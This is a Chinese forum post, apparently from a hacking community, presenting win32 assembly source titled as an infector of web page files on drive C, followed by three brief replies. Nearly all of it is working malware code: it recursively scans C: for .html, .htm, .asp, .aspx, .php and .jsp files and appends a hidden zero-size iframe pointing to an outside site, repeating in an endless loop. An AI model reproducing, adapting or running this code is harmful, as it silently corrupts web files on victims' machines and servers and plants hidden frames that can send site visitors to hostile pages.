感染C盘网页文件--win32汇编

netknight

;******************************************************
;程序编写by netknight
;******************************************************
.386
.model flat, stdcall
option casemap :none
include windows.inc
include kernel32.inc
include user32.inc
include shlwapi.inc
includelib kernel32.lib
includelib user32.lib
includelib shlwapi.lib
include macros.inc
.data
szInjectURLAddr db '<iframe src=http://hi.baidu.com/netknight/ width=0 height=0></iframe>',0
szDriveString dd MAX_PATH dup(0)
pszExtension dd 50 dup(00h)
CRLF db 0Dh,0Ah,0
.code
;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
InjectURLToFile proc _szFilePath,_szInjectURLAddr
  local @szWriteBuf[MAX_PATH],@szReadBuf[MAX_PATH]
  local @hFile,@WriteBufLen,@dwBytesRead,@dwBytesWrite,@FileOffset
   invoke RtlZeroMemory,addr @szWriteBuf,MAX_PATH
   invoke RtlZeroMemory,addr @szReadBuf,MAX_PATH
invoke CreateFile,_szFilePath,GENERIC_WRITE OR GENERIC_READ,FILE_SHARE_READ,\
                      0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
.if eax !=  INVALID_HANDLE_VALUE
  mov @hFile,eax
.else
  mov eax,FALSE
  jmp @f
.endif
invoke lstrcat,addr CRLF,_szInjectURLAddr
invoke lstrcpy,addr @szWriteBuf,addr CRLF
invoke lstrlen,addr @szWriteBuf
mov @WriteBufLen,eax
not eax   ;变为负数即是取反加一
inc   eax
   mov @FileOffset,eax
invoke SetFilePointer,@hFile,@FileOffset,NULL, FILE_END;从后读取
invoke ReadFile,@hFile,addr @szReadBuf,@WriteBufLen,addr @dwBytesRead,0
invoke MessageBox,NULL,addr @szReadBuf,addr @dwBytesRead,MB_APPLMODAL
invoke lstrcmp,addr @szReadBuf,addr @szWriteBuf
.if !eax
  mov eax,FALSE
  jmp @f
.endif
invoke SetFilePointer,@hFile,0,NULL, FILE_END
invoke WriteFile,@hFile,addr @szWriteBuf,@WriteBufLen,addr @dwBytesWrite,0
mov eax,TRUE
@@:
invoke CloseHandle,@hFile
ret
InjectURLToFile endp
;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
_InfectWeb proc _szDriveString
  local @finddata:WIN32_FIND_DATA
  local FHandle
  local @szFindDriver[MAX_PATH],@szFindPath[MAX_PATH],@szFilePath[MAX_PATH]
  invoke RtlZeroMemory,addr @szFindDriver,MAX_PATH
  invoke RtlZeroMemory,addr @szFindPath,MAX_PATH
  invoke RtlZeroMemory,addr @szFilePath,MAX_PATH
  invoke lstrcpy,addr @szFindDriver,_szDriveString
  invoke lstrcat,addr @szFindDriver,CTXT("\*.*")
  invoke FindFirstFile,addr @szFindDriver,addr @finddata
  .if eax!=INVALID_HANDLE_VALUE
  mov FHandle,eax  
  .while eax!=0
   invoke lstrcmp,addr @finddata.cFileName,CTXT(".")
   .if !eax
    jmp  @f
   .endif
   invoke lstrcmp,addr @finddata.cFileName,CTXT("..")
   .if !eax
    jmp  @f
   .endif
   .if @finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY
    invoke lstrcpy,addr @szFindPath,_szDriveString
    invoke lstrcat,addr @szFindPath,CTXT("\")
    invoke lstrcat,addr @szFindPath,addr @finddata.cFileName
    invoke _InfectWeb,addr @szFindPath
   .else
    invoke Sleep,1
    invoke lstrcpy,addr @szFilePath,_szDriveString
    invoke lstrcat,addr @szFilePath,CTXT("\")
    invoke lstrcat,addr @szFilePath,addr @finddata.cFileName
    invoke PathFindExtension,addr @szFilePath
    mov pszExtension,eax
    invoke lstrcmpi,pszExtension,CTXT(".html")
    cmp eax,0
    je InfectWeb
    invoke lstrcmpi,pszExtension,CTXT(".htm")
    cmp eax,0
    je InfectWeb
    invoke lstrcmpi,pszExtension,CTXT(".asp")
    cmp eax,0
    je InfectWeb
    invoke lstrcmpi,pszExtension,CTXT(".aspx")
    cmp eax,0
    je InfectWeb
    invoke lstrcmpi,pszExtension,CTXT(".php")
    cmp eax,0
    je InfectWeb
    invoke lstrcmpi,pszExtension,CTXT(".jsp")
    cmp eax,0
    jne @f
    InfectWeb:
    invoke InjectURLToFile,addr @szFilePath,addr szInjectURLAddr
    invoke Sleep,10
   .endif
   @@:
   invoke FindNextFile,FHandle,addr @finddata
  .endw
  invoke FindClose,FHandle
.endif
  ret
_InfectWeb endp
;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
start:
  @@:
  ;invoke _InfectWeb,addr szDriveString
  invoke _InfectWeb,CTXT("C:")
   jmp   @B
end start

avzhongjiezhe

这个代码比较简单，看懂了

秋风夜雪

没看懂，嘿嘿!!!

SoftCheck

收藏下，呵呵